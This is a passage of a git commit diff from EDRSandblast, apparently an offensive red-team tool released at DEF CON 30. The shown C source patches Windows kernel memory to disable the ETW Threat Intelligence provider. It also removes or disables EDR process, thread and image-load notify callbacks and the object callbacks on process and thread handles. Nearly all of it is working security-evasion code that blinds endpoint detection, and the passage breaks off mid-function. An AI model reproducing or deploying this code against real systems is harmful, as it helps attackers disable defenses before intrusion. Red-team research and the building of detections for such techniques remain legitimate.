D3FC0N 30 release: Obj callbacks, firewalling, symbols w/ internet, and more

Co-authored-by: Maxime Meignan <maxime.meignan@wavestone.com>
This commit is contained in:
Qazeer
2022-08-13 09:23:48 -07:00
parent 2e037a379b
commit 48a75a7029
91 changed files with 10503 additions and 4414 deletions
@@ -0,0 +1,66 @@
/*
--- ETW Threat Intelligence operations.
--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
*/
#include <Windows.h>
#include <Tchar.h>
#include "../EDRSandBlast.h"
#include "ETWThreatIntel.h"
#include "KernelMemoryPrimitives.h"
#include "NtoskrnlOffsets.h"
DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose) {
if (g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0 || g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry == 0x0 || g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo == 0x0) {
_putts_or_not(TEXT("[!] [ETWTI]\tETW Threat Intel ProviderEnableInfo address could not be found. This version of ntoskrnl may not implement ETW Threat Intel."));
return 0x0;
}
DWORD64 etwThreatInt_ETW_REG_ENTRYAddress = ReadKernelMemoryDWORD64(g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle);
if (verbose) {
_tprintf_or_not(TEXT("[+] [ETWTI]\tFound ETW Threat Intel provider _ETW_REG_ENTRY at 0x%I64x\n"), etwThreatInt_ETW_REG_ENTRYAddress);
}
DWORD64 etwThreatInt_ETW_GUID_ENTRYAddress = ReadMemoryDWORD64(etwThreatInt_ETW_REG_ENTRYAddress + g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry);
return etwThreatInt_ETW_GUID_ENTRYAddress + g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo;
}
void EnableDisableETWThreatIntelProvider(BOOL verbose, BOOL enable) {
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
return;
}
_tprintf_or_not(TEXT("[+] [ETWTI]\t%s the ETW Threat Intel provider by patching ProviderEnableInfo at 0x%I64x with 0x%02X.\n"),
enable ? TEXT("(Re)enabling") : TEXT("Disabling"), etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
WriteMemoryBYTE(etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
_tprintf_or_not(TEXT("[+] [ETWTI]\tThe ETW Threat Intel provider was successfully %s!\n"), enable ? TEXT("enabled") : TEXT("disabled"));
}
void DisableETWThreatIntelProvider(BOOL verbose) {
EnableDisableETWThreatIntelProvider(verbose, FALSE);
}
void EnableETWThreatIntelProvider(BOOL verbose) {
EnableDisableETWThreatIntelProvider(verbose, TRUE);
}
BOOL isETWThreatIntelProviderEnabled(BOOL verbose) {
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
return FALSE;
}
BYTE etwThreatInt_ProviderEnableInfoValue = ReadMemoryBYTE(etwThreatInt_ProviderEnableInfoAddress);
return etwThreatInt_ProviderEnableInfoValue == ENABLE_PROVIDER;
}
@@ -0,0 +1,140 @@
/*
--- Kernel callbacks operations.
--- Inspiration and credit: https://github.com/br-sn/CheekyBlinder
*/
#include <Windows.h>
#include "../EDRSandblast.h"
#include "FileUtils.h"
#include "FileVersion.h"
#include "IsEDRChecks.h"
#include "KernelMemoryPrimitives.h"
#include "KernelUtils.h"
#include "NtoskrnlOffsets.h"
#include "PEParser.h"
#include "PdbSymbols.h"
#include "KernelCallbacks.h"
const TCHAR* notifyRoutineTypeStrs[3] = { TEXT("process creation"), TEXT("thread creation"), TEXT("image loading") };
const TCHAR* notifyRoutineTypeNames[3] = { TEXT("ProcessCreate"), TEXT("ThreadCreate"), TEXT("LoadImage") };
DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt);
BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) {
DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(notifyRoutineType);
_tprintf_or_not(TEXT("[+] [NotifyRountines]\tEnumerating %s callbacks\n"), notifyRoutineTypeStrs[notifyRoutineType]);
if (verbose) { _tprintf_or_not(TEXT("[+] [NotifyRountines]\tPsp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[notifyRoutineType], NotifyRoutineAddress); }
SIZE_T CurrentEDRCallbacksCount = 0;
for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) {
DWORD64 callback_struct = ReadMemoryDWORD64(NotifyRoutineAddress + (i * sizeof(DWORD64)));
if (callback_struct != 0) {
DWORD64 callback = (callback_struct & ~0b1111) + 8; //TODO : replace this hardcoded offset ?
DWORD64 cbFunction = ReadMemoryDWORD64(callback);
DWORD64 driverOffset;
TCHAR* driver = FindDriverName(cbFunction, &driverOffset);
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t\t%016llx [%s + 0x%llx]\n"), cbFunction, driver, driverOffset);
if (driver && isDriverNameMatchingEDR(driver)) { //TODO : also use certificates to determine if EDR
DWORD64 callback_addr = NotifyRoutineAddress + (i * sizeof(DWORD64));
struct KRNL_CALLBACK newFoundDriver = { 0 };
newFoundDriver.type = NOTIFY_ROUTINE_CB;
newFoundDriver.driver_name = driver;
newFoundDriver.addresses.notify_routine.callback_struct_addr = callback_addr;
newFoundDriver.addresses.notify_routine.callback_struct = callback_struct;
newFoundDriver.addresses.notify_routine.type = notifyRoutineType;
newFoundDriver.callback_func = cbFunction;
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t\tFound callback belonging to EDR driver %s"), driver);
if (verbose) {
_tprintf_or_not(TEXT(" [callback addr : 0x%I64x | callback struct : 0x%I64x | callback function : 0x%I64x]\n"), callback_addr, callback_struct, cbFunction);
}
else {
_putts_or_not(TEXT(""));
}
newFoundDriver.removed = FALSE;
edrCallbacks->EDR_CALLBACKS[edrCallbacks->index] = newFoundDriver;
edrCallbacks->index++;
CurrentEDRCallbacksCount++;
}
}
}
if (CurrentEDRCallbacksCount == 0) {
_putts_or_not(TEXT("[+] [NotifyRountines]\tNo EDR driver(s) found!"));
}
else {
_tprintf_or_not(TEXT("[+] [NotifyRountines]\tFound a total of %llu EDR / security products driver(s)\n"), CurrentEDRCallbacksCount);
}
return CurrentEDRCallbacksCount > 0;
}
void RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) {
TCHAR* action = remove ? TEXT("Removing") : TEXT("Restoring");
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]);
for (DWORD i = 0; i < edrCallbacks->index; ++i) {
struct KRNL_CALLBACK* cb = &edrCallbacks->EDR_CALLBACKS[i];
if (cb->type == NOTIFY_ROUTINE_CB &&
cb->addresses.notify_routine.type == notifyRoutineType &&
cb->removed == !remove) {
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s callback of EDR driver \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"),
action,
cb->driver_name,
cb->addresses.notify_routine.callback_struct_addr,
cb->addresses.notify_routine.callback_struct,
cb->callback_func);
DWORD64 value_to_write = remove ? 0 : cb->addresses.notify_routine.callback_struct;
WriteMemoryDWORD64(cb->addresses.notify_routine.callback_struct_addr, value_to_write);
cb->removed = !cb->removed;
}
}
}
void RemoveOrRestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) {
RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(CREATE_PROCESS_ROUTINE, edrCallbacks, remove);
RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(CREATE_THREAD_ROUTINE, edrCallbacks, remove);
RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(LOAD_IMAGE_ROUTINE, edrCallbacks, remove);
}
/*
------ Generic callbacks manipulation.
*/
DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt) {
DWORD64 Ntoskrnlbaseaddress = FindNtoskrnlBaseAddress();
DWORD64 Psp_X_NotifyRoutineOffset = g_ntoskrnlOffsets.ar[nrt];
DWORD64 Psp_X_NotifyRoutineAddress = Ntoskrnlbaseaddress + Psp_X_NotifyRoutineOffset;
return Psp_X_NotifyRoutineAddress;
}
/*
------ All EDR Kernel callbacks enumeration / removal.
*/
BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) {
BOOL found = FALSE;
found |= EnumEDRSpecificNotifyRoutineCallbacks(CREATE_PROCESS_ROUTINE, edrCallbacks, verbose);
found |= EnumEDRSpecificNotifyRoutineCallbacks(CREATE_THREAD_ROUTINE, edrCallbacks, verbose);
found |= EnumEDRSpecificNotifyRoutineCallbacks(LOAD_IMAGE_ROUTINE, edrCallbacks, verbose);
return found;
}
void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, TRUE);
}
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, FALSE);
}
+108
View File
@@ -0,0 +1,108 @@
#include <Windows.h>
#include <Psapi.h>
#include <Tchar.h>
#include "../EDRSandblast.h"
DWORD64 g_NtoskrnlBaseAddress;
DWORD64 FindNtoskrnlBaseAddress(void) {
if (g_NtoskrnlBaseAddress == 0) {
DWORD cbNeeded = 0;
LPVOID drivers[1024] = { 0 };
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
g_NtoskrnlBaseAddress = (DWORD64)drivers[0];
}
else {
return 0;
}
}
return g_NtoskrnlBaseAddress;
}
/*
* Returns the name of the driver where "address" seems to be located
* Optionnaly, return in "offset" the distance between "address" and the driver base address.
*/
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset) {
LPVOID drivers[1024] = { 0 };
DWORD cbNeeded;
int cDrivers = 0;
int i = 0;
TCHAR szDriver[1024] = { 0 };
DWORD64 minDiff = MAXDWORD64;
DWORD64 diff;
if (offset) {
*offset = 0;
}
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
cDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < cDrivers; i++) {
if ((DWORD64)drivers[i] <= address) {
diff = address - (DWORD64)drivers[i];
if (diff < minDiff) {
minDiff = diff;
}
}
}
}
else {
_tprintf_or_not(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
return NULL;
}
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
if (offset) {
*offset = minDiff;
}
TCHAR* const szDriver_cpy = _tcsdup(szDriver);
if (!szDriver_cpy) {
_putts_or_not(TEXT("[!] Couldn't allocate memory to store the driver name"));
return NULL;
}
return szDriver_cpy;
}
else {
_tprintf_or_not(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
return NULL;
}
}
/*
* Return the driver path given an address in kernel memory (the driver base or an address inside)
* TODO : might return paths that begins with "\systemroot\" for the moment, need fixing (cf. Firewalling.c)
*/
TCHAR* FindDriverPath(DWORD64 address) {
DWORD64 offset;
TCHAR* name = FindDriverName(address, &offset);
free(name);
name = NULL;
DWORD64 driverBaseAddress = address - offset;
TCHAR szDriver[MAX_PATH] = { 0 };
GetDeviceDriverFileName((PVOID)driverBaseAddress, szDriver, _countof(szDriver));
TCHAR* const szDriver_cpy = _tcsdup(szDriver);
if (!szDriver_cpy) {
_putts_or_not(TEXT("[!] Couldn't allocate memory to store the driver path"));
return NULL;
}
return szDriver_cpy;
}
DWORD64 GetKernelFunctionAddress(LPCSTR function) {
DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress();
DWORD64 address = 0;
HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe"));
if (ntoskrnl) {
DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl);
address = ntoskrnlBaseAddress + offset;
FreeLibrary(ntoskrnl);
}
// _tprintf_or_not(TEXT("[+] %s address: 0x%I64x\n"), function, address);
return address;
}
@@ -0,0 +1,467 @@
#include <Tchar.h>
#include <Windows.h>
#include "../EDRSandblast.h"
#include "IsEDRChecks.h"
#include "PdbSymbols.h"
#include "NtoskrnlOffsets.h"
#include "KernelMemoryPrimitives.h"
#include "KernelUtils.h"
#include "FileVersion.h"
#include "KernelCallbacks.h"
#include "ObjectCallbacks.h"
typedef enum OB_OPERATION_e {
OB_OPERATION_HANDLE_CREATE = 1,
OB_OPERATION_HANDLE_DUPLICATE = 2,
OB_FLT_REGISTRATION_VERSION = 0x100
} OB_OPERATION;
typedef struct UNICODE_STRING_t {
USHORT Length;
USHORT MaximumLength;
PWCH Buffer;
} UNICODE_STRING;
#define GET_OFFSET(STRUCTNAME, OFFSETNAME) Offset_ ## STRUCTNAME ## _ ## OFFSETNAME = GetFieldOffset(sym_ctx, #STRUCTNAME, L###OFFSETNAME)
#define GET_SYMBOL(SYMBOL) Sym_ ## SYMBOL = GetSymbolAddress(sym_ctx, #SYMBOL)
typedef struct OB_CALLBACK_t OB_CALLBACK;
/*
* Internal / undocumented version of OB_OPERATION_REGISTRATION
*/
typedef struct OB_CALLBACK_ENTRY_t {
LIST_ENTRY CallbackList;
OB_OPERATION Operations;
BOOL Enabled;
OB_CALLBACK* Entry;
PVOID ObjectType; // POBJECT_TYPE
PVOID PreOperation; // POB_PRE_OPERATION_CALLBACK
PVOID PostOperation; // POB_POST_OPERATION_CALLBACK
KSPIN_LOCK Lock;
}OB_CALLBACK_ENTRY;
/*
* A callback entry is made of some fields followed by concatenation of callback entry items, and the buffer of the associated Altitude string
* Internal / undocumented (and compact) version of OB_CALLBACK_REGISTRATION
*/
typedef struct OB_CALLBACK_t {
USHORT Version;
USHORT OperationRegistrationCount;
PVOID RegistrationContext;
UNICODE_STRING AltitudeString;
struct OB_CALLBACK_ENTRY_t EntryItems[1]; // has OperationRegistrationCount items
WCHAR AltitudeBuffer[1]; // if AltitudeString.MaximumLength bytes long
} OB_CALLBACK;
//TODO : find a way to reliably find the offsets
DWORD64 Offset_CALLBACK_ENTRY_ITEM_Operations = offsetof(OB_CALLBACK_ENTRY, Operations); //BOOL
DWORD64 Offset_CALLBACK_ENTRY_ITEM_Enabled = offsetof(OB_CALLBACK_ENTRY, Enabled); //DWORD
DWORD64 Offset_CALLBACK_ENTRY_ITEM_ObjectType = offsetof(OB_CALLBACK_ENTRY, ObjectType); //POBJECT_TYPE
DWORD64 Offset_CALLBACK_ENTRY_ITEM_PreOperation = offsetof(OB_CALLBACK_ENTRY, PreOperation); //POB_PRE_OPERATION_CALLBACK
DWORD64 Offset_CALLBACK_ENTRY_ITEM_PostOperation = offsetof(OB_CALLBACK_ENTRY, PostOperation); //POB_POST_OPERATION_CALLBACK
//TODO : parse the bitfield in the PDB symbols to ensure "SupportObjectCallbacks" is bit 6
WORD SupportObjectCallbacks_bit = 0x40;
struct ObjTypeSubjectToCallback {
TCHAR* name;
DWORD64 offset;
DWORD64 callbackListAddress;
DWORD64 callbackListFlinkBackup;
DWORD64 callbackListBlinkBackup;
SIZE_T nbCallbacks;
} ObjectTypesSubjectToCallback[2] = {
{.name = TEXT("Process"), .offset = 0},
{.name = TEXT("Thread"), .offset = 0},
};
/*
* Get symbols from Internet that are not in the NtoskrnlOffsets structure (for experimental functions only)
*/
void GetAdditionnalObjectCallbackOffsets() {
if (Offset__OBJECT_TYPE_Name) {
//Symbols and offsets already loaded
return;
}
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(GetNtoskrnlPath());
if (sym_ctx == NULL) {
_tprintf_or_not(TEXT("Symbols not downloaded, aborting..."));
exit(1);
}
GET_OFFSET(_OBJECT_TYPE, Name);
GET_OFFSET(_OBJECT_TYPE, TotalNumberOfObjects);
GET_OFFSET(_OBJECT_TYPE, TypeInfo);
GET_OFFSET(_OBJECT_TYPE_INITIALIZER, ObjectTypeFlags);
GET_SYMBOL(ObpObjectTypes);
GET_SYMBOL(ObpTypeObjectType);
UnloadSymbols(sym_ctx, FALSE);
}
/*
* ------- Callback Entry Undocumented structure strategy --------
* The following functions use the fact that the CallbackList of an _OBJECT_TYPE contains a list of _CALLBACK_ENTRY_ITEM elements, _CALLBACK_ENTRY_ITEM being the unofficial name
* of an undocumented structure.
* The struct has been reversed engineered in various ntoskrnl.exe version and seems constant from Windows 10 version 10240 to 22000 (oldest to most recent versions)
*/
/*
* Experimental : enumerates all object types on Windows, and checks if some callbacks are defined, even if not officially supported
*/
void EnumAllObjectsCallbacks() {
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return;
}
GetAdditionnalObjectCallbackOffsets();
//get object types count
DWORD64 ObjectTypeType = ReadKernelMemoryDWORD64(Sym_ObpTypeObjectType);
DWORD ObjectTypesCount = ReadMemoryDWORD(ObjectTypeType + Offset__OBJECT_TYPE_TotalNumberOfObjects);
for (DWORD i = 0; i < ObjectTypesCount; i++) {
DWORD64 ObjectType = ReadKernelMemoryDWORD64(Sym_ObpObjectTypes + i * sizeof(DWORD64));
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
WORD ObjectType_Name_Length = ReadMemoryWORD(ObjectType + Offset__OBJECT_TYPE_Name + offsetof(UNICODE_STRING, Length));
DWORD64 ObjectType_Name_Buffer = ReadMemoryDWORD64(ObjectType + Offset__OBJECT_TYPE_Name + offsetof(UNICODE_STRING, Buffer));
WCHAR typeName[256] = { 0 };
ReadMemory(ObjectType_Name_Buffer, typeName, ObjectType_Name_Length);
wprintf_or_not(L"Object type : %s\n", typeName);
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
cbEntry != ObjectType_Callbacks_List;
cbEntry = ReadMemoryDWORD64(cbEntry)) {
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
if (ObjectTypeField != ObjectType) {
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
exit(1);
}
BOOL Enabled = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled);
if (!Enabled) {
continue;
}
OB_OPERATION Operations = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Operations);
_tprintf_or_not(TEXT("Callback for handle %s%s%s\n"),
Operations & 1 ? TEXT("creations") : TEXT(""),
Operations == 3 ? TEXT(" & ") : TEXT(""),
Operations & 2 ? TEXT("duplications") : TEXT(""));
DWORD64 PreOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PreOperation);
DWORD64 PostOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PostOperation);
DWORD64 driverOffsetPreOperation = 0;
DWORD64 driverOffsetPostOperation = 0;
TCHAR* driverNamePreOperation = FindDriverName(PreOperation, &driverOffsetPreOperation);
TCHAR* driverNamePostOperation = FindDriverName(PostOperation, &driverOffsetPostOperation);
_tprintf_or_not(TEXT("\tPreoperation at %llx [%s + %llx])\n"), PreOperation, driverNamePreOperation, driverOffsetPreOperation);
_tprintf_or_not(TEXT("\tPostoperation at %llx [%s + %llx]\n"), PostOperation, driverNamePostOperation, driverOffsetPostOperation);
}
_putts_or_not(TEXT(""));
}
}
/*
* Enumerate all callbacks set on Process & Thread handle manipulation
* WARNING : depends on undocumented structures, but is able to differentiate EDR-related callbacks from potentially legitimate ones
*/
BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks) {
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return FALSE;
}
BOOL found = FALSE;
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\tEnumerating %s object callbacks : \n"), ObjectTypesSubjectToCallback[i].name);
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
cbEntry != ObjectType_Callbacks_List;
cbEntry = ReadMemoryDWORD64(cbEntry)) {
if (FoundObjectCallbacks->index >= 256) {
_putts_or_not(TEXT("[!] No more space to store object callbacks !!! This should not happen. Exiting..."));
exit(1);
}
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
if (ObjectTypeField != ObjectType) {
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
exit(1);
}
DWORD Operations = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Operations);
TCHAR* OperationsString;
switch (Operations) {
case 1: // OB_OPERATION_HANDLE_CREATE
OperationsString = TEXT("creations");
break;
case 2: // OB_OPERATION_HANDLE_DUPLICATE
OperationsString = TEXT("duplications");
break;
case 3: // OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE
OperationsString = TEXT("creations & duplications");
break;
default:
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
exit(1);
}
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\tCallback at %p for handle %s:\n"), (PVOID)cbEntry, OperationsString);
BOOL Enabled = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled);
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tStatus: %s\n"), Enabled ? TEXT("Enabled") : TEXT("Disabled"));
DWORD64 PreOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PreOperation);
if (PreOperation) {
DWORD64 driverOffset;
TCHAR* driverNamePreOperation = FindDriverName(PreOperation, &driverOffset);
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tPreoperation at 0x%016llx [%s + 0x%llx]\n"), PreOperation, driverNamePreOperation, driverOffset);
if (isDriverNameMatchingEDR(driverNamePreOperation)) {
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
if (Enabled) {
_putts_or_not(TEXT("and is enabled!"));
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index];
cb->type = OBJECT_CALLBACK;
cb->driver_name = driverNamePreOperation;
cb->removed = FALSE;
cb->callback_func = PreOperation;
cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
FoundObjectCallbacks->index++;
found |= TRUE;
}
else {
_putts_or_not(TEXT("but is disabled."));
}
}
}
DWORD64 PostOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PostOperation);
if (PostOperation) {
DWORD64 driverOffset;
TCHAR* driverNamePostOperation = FindDriverName(PostOperation, &driverOffset);
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tPostoperation at 0x%016llx [%s + 0x%llx]\n"), PostOperation, driverNamePostOperation, driverOffset);
if (Enabled && isDriverNameMatchingEDR(driverNamePostOperation)) {
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
if (Enabled) {
_putts_or_not(TEXT("and is enabled!"));
if (FoundObjectCallbacks->index != 0 &&
FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index - 1].addresses.object_callback.enable_addr == cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled) {
//skip if last callback function belong to the same callback entry (preoperation)
continue;
}
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index];
cb->type = OBJECT_CALLBACK;
cb->driver_name = driverNamePostOperation;
cb->removed = FALSE;
cb->callback_func = PostOperation;
cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
FoundObjectCallbacks->index++;
found |= TRUE;
}
else {
_putts_or_not(TEXT("but is disabled."));
}
}
}
}
}
return found;
}
void EnableDisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks, BOOL enable) {
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return;
}
for (DWORD64 i = 0; i < FoundObjectCallbacks->index; i++) {
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[i];
if (cb->type == OBJECT_CALLBACK && cb->removed == enable) {
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t%s %s callback...\n"), enable ? TEXT("Enabling") : TEXT("Disabling"), cb->driver_name);
WriteMemoryDWORD(cb->addresses.object_callback.enable_addr, enable ? TRUE : FALSE);
cb->removed = !cb->removed;
}
}
}
void DisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks) {
EnableDisableEDRProcessAndThreadObjectsCallbacks(FoundObjectCallbacks, FALSE);
}
void EnableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks) {
EnableDisableEDRProcessAndThreadObjectsCallbacks(FoundObjectCallbacks, TRUE);
}
void EnableDisableAllProcessAndThreadObjectsCallbacks(BOOL enable) {
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return;
}
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
cbEntry != ObjectType_Callbacks_List;
cbEntry = ReadMemoryDWORD64(cbEntry)) {
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
if (ObjectTypeField != ObjectType) {
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
exit(1);
}
WriteMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled, enable ? TRUE : FALSE);
}
}
}
/*
* ------- CallbackList unlinking strategy --------
* The following functions use the fact that the CallbackList of an _OBJECT_TYPE can be emptied by making it point to itself
* However, if the kernel memory write primitive used to overwrite a pointer is not "atomic" (e.g. the RTCore64 driver's writes 2 DWORDs successively), there
* is a high risk of race condition where the CallbackList is used by the system while one of its pointers is only partial overwritten (thus invalid), which
* is likely to result in a crash.
* Handle creation/duplication for processes and threads being very frequent, this strategy is thus risky in some cases.
*/
/*
* Count callbacks set on Process & Thread handle manipulation, but is unnable to differentiate EDR-related callbacks from potentially legitimate ones
* Depends only on documented symbols
*/
SIZE_T CountProcessAndThreadObjectsCallbacks() {
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return 0;
}
SIZE_T nbCallbacks = 0;
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Flink));
cbEntry != ObjectType_Callbacks_List;
cbEntry = ReadMemoryDWORD64(cbEntry + offsetof(LIST_ENTRY, Flink))) {
nbCallbacks++;
ObjectTypesSubjectToCallback[i].nbCallbacks++;
}
_tprintf_or_not(TEXT("Counting %llu registered callbacks for %s\n"), ObjectTypesSubjectToCallback[i].nbCallbacks, ObjectTypesSubjectToCallback[i].name);
}
return nbCallbacks;
}
/*
* Unlink all process and thread handle callbacks (EDR related or not)
* (no critical system component should be in these list anyway)
*/
void RemoveAllProcessAndThreadObjectsCallbacks() {
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return;
}
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
